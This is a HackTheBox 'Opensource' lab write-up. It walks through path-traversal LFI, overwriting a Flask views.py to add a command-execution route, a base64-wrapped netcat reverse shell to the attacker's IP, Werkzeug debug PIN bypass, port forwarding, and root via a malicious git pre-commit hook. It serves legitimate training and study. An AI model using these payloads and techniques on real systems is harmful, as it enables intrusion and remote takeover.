CTF-Writeups/HackTheBox/Opensource.md
2022-10-09 15:39:49 +05:00

9.9 KiB

HackTheBox - Opensource

NMAP

PORT     STATE    SERVICE VERSION       
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)                              
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)                                  
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)                         
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Sat, 21 May 2022 19:02:18 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script> 
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|_  Supported Methods: OPTIONS HEAD GET
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp    

PORT 80 (HTTP)

The webserver was hosting something called upcloud

Since it's using Werkzeug chances are that we may have access to console

But this was protected by a PIN so let's move on to explore what options we have on the site.

We have an option to upload files also to download the source code

Looking at the source code we have git repo of the file

So the first thing that I usually check is for git logs

We have two commits made in this repo, the latest one just shows that the application was running in debug mode but now is running in production so nothing really in the commits

Running git branch showed that there was another branch named dev and we were currenlty viewing public

Switching the branch with git switch dev

And checking the commits made in this branch we get credentials for dev01 which we maybe able to use it somewhere else

Checking the source code from the public branch

In views.py, we can see that it has a functionality to upload files in the directory uploads and in the upload_file function it's calling another function from utils.py named get_file_name

This function is being used for sanitzing file name incase of a LFI (Local File Inclusion) and it's being called recursively

After the file name is sanitzed and uploaded, we can access it through /uploads/filename

But it's using os.join.path which is vulnerable to path traversal if there's an absolute path being used it will ignore the basepath

We can try for LFI here but it's not going to work as the function get_file_name is removing ../ recursively

We can bypass this as Werkzeug will normalize //upcloud to /upcloud

So we can provide ..//etc/passwd which will bypass the filter`

Also we can fuzz for the LFI payload using LFI-Jhaddix.txt from seclists

wfuzz -c -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt  -u 'http://10.10.11.164/uploads/FUZZ' --hl 254,5

Which url decodes to ../../..//../../etc/passwd which bypasses the recursive search for ../

Foothold (Method 1)

Checking the upload functionality we can upload files and can rewrite files on the server meaning that we need to replace views.py with our own route for executing commands since the server is running in debug mode and it will restart the server on detecting changes , I tested this locally and it was working

I added a route in the file for executing commands

def run_command(command):
    return subprocess.Popen(command, shell=True, stdout=subprocess.PIPE).stdout.read()

@app.route('/<command>')
def command_server(command):
    return run_command(command)

Intercepting the request to upload a file

Now changing the filename to /..//../app/app/views.py this replace views.py which is on the server

I checked if nc was on the target machine

We can just a openbsd nc reverse shell payload by encoding it to base64 and piping it to sh since bash wasn't there

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 3333 >/tmp/f
echo 'cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuOTYgMzMzMyA+L3RtcC9mCg==' | base64 -d | sh

Foothold (Method 2)

We can get foothold by generating the console PIN using the exploit from here

https://github.com/wdahlenburg/werkzeug-debug-console-bypass

Replacing the values in the exploit by reading the MAC from /sys/class/net/eth0/address, boot-id from /proc/sys/kernel/random/boot_id and cgroup from /proc/self/cgroup also replacing the path to flask app , modname and the user running this flask app

We can get the MAC address through the LFI we found and convert it to decimal

mac = "02:42:ac:11:00:02"
int(mac.replace(":", ""), 16)

Reading the boot_id

And the cgroup file

Combine the both boot_id and cgroup

Now we just need to replace the values in pin generation script

https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/werkzeug-pin-bypass.py

Running the script we'll get a pin

Privilege Escalation (dev01)

After getting a shell on the container, there wasn't anything, I ran pspy, linpeas but nothing came out of interest, but if check our nmap scan there was port 3000 which was filtered, since we are on a container the gateway is usually the host machine

So running an nmap through the container (by using a statically compiled binary of nmap )

We can use chisel to port forward this (by of course transferring on the container)

Here we can use the credentials found from the dev branch

In this repo we can get the ssh key for dev01 user

Privilege Escalation (root)

Transferring pspy for mointoring background processes we can see git-sync being ran as a root user

Reading this script

#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

It just detects if there are any changes in dev01's home directory and if there are it adds that file into the repo and makes a commit

We can't really do exploit this script but I came across an article on exploiting git hooks

https://medium.com/@knownsec404team/analysis-of-cve-2019-11229-from-git-config-to-rce-32c217727baa

Which abuses git hooks, this wasn't really the exact scenario here but it gave me an idea to abuse git hooks, so we can include a git hook script in .git/hooks and we want pre-commit script

We can include a pre-commit script which will run before the commit is made

And now waiting for the git-sync to ran which will then trigger this pre-commit script and give us a root shell

References